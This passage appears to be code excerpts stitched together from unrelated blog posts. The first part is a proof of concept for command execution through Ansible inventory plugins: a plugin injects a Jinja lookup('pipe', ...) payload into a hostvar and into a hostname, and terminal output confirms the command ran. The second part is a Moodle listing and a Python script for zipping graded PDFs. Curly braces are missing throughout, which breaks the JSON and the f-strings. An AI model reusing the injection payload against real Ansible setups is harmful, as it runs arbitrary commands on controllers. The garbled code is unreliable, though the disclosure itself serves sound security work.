        ]
     ,
    "ungrouped":  
        "hosts": [
            "exploit.example.com"
        ]
     
 

- hosts: all
  tasks:
    - name: Display all variables/facts known for a host
      ansible.builtin.debug:
        var: hostvars[inventory_hostname]

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
ok: [exploit.example.com]
TASK [Display all variables/facts known for a host] *******************************************************
ok: [exploit.example.com] =>  
    "hostvars[inventory_hostname]":  
        "ansible_all_ipv4_addresses": [
            "192.168.122.1"
        ],
         
        "something_funny": ""
     
 
PLAY RECAP *************************************************************************************************
exploit.example.com  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

% ls -alh /tmp/hacked 
-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked

from ansible.utils.unsafe_proxy import wrap_var
 
self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var('  lookup("pipe", "touch /tmp/hacked" )  '))

"something_funny": "  lookup(\"pipe\", \"touch /tmp/hacked\" )  "

for k, v in host_vars.items():
    self.inventory.set_variable(name, k, v)

for key, value in hostvars.items():
    self.inventory.set_variable(hostname, key, value)

for k, v in hostvars.items():
    try:
        self.inventory.set_variable(host_name, k, v)
    except ValueError as e:
        self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))

from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
    NAME = 'evgeni.inventoryrce.inventory'
    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid
    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('lol  lookup("pipe", "touch /tmp/hacked-host" )  ')

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
fatal: [lol  lookup("pipe", "touch /tmp/hacked-host" )  ]: UNREACHABLE! =>  "changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true 
PLAY RECAP ************************************************************************************************
lol  lookup("pipe", "touch /tmp/hacked-host" )   : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0
% ls -alh /tmp/hacked-host
-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host

Assignment FooBar/
  Student A_21100_assignsubmission_file
    graded paper.pdf
    Student A's perfectly named assignment.pdf
    Student A's perfectly named assignment.xopp
  Student B_21094_assignsubmission_file
    graded paper.pdf
    Student B's perfectly named assignment.pdf
    Student B's perfectly named assignment.xopp
  Student C_21093_assignsubmission_file
    graded paper.pdf
    Student C's perfectly named assignment.pdf
    Student C's perfectly named assignment.xopp
 

#!/usr/bin/python3
# Copyright (C) 2023, Louis-Philippe V ronneau <pollo@debian.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
"""
This script aims to take a directory containing PDF files exported via the
Moodle mass download function, remove everything but the final files to submit
back to the students and zip it back.
usage: ./moodle-zip.py <target_dir>
"""
import os
import shutil
import sys
import tempfile
from fnmatch import fnmatch
def sanity(directory):
    """Run sanity checks before doing anything else"""
    base_directory = os.path.basename(os.path.normpath(directory))
    if not os.path.isdir(directory):
        sys.exit(f"Target directory  directory  is not a valid directory")
    if os.path.exists(f"/tmp/ base_directory .zip"):
        sys.exit(f"Final ZIP file path '/tmp/ base_directory .zip' already exists")
    for root, dirnames, _ in os.walk(directory):
        for dirname in dirnames:
            corrige_present = False
            for file in os.listdir(os.path.join(root, dirname)):
                if fnmatch(file, 'graded paper.pdf'):
                    corrige_present = True
            if corrige_present is False:
                sys.exit(f"Directory  dirname  does not contain a 'graded paper.pdf' file")
def clean(directory):
    """Remove superfluous files, to keep only the graded PDF"""
    with tempfile.TemporaryDirectory() as tmp_dir:
        shutil.copytree(directory, tmp_dir, dirs_exist_ok=True)
        for root, _, filenames in os.walk(tmp_dir):
            for file in filenames:
                if not fnmatch(file, 'graded paper.pdf'):
                    os.remove(os.path.join(root, file))
        compress(tmp_dir, directory)
def compress(directory, target_dir):
    """Compress directory into a ZIP file and save it to the target dir"""
    target_dir = os.path.basename(os.path.normpath(target_dir))
    shutil.make_archive(f"/tmp/ target_dir ", 'zip', directory)
    print(f"Final ZIP file has been saved to '/tmp/ target_dir .zip'")
def main():
    """Main function"""
    target_dir = sys.argv[1]
    sanity(target_dir)
    clean(target_dir)
if __name__ == "__main__":
    main()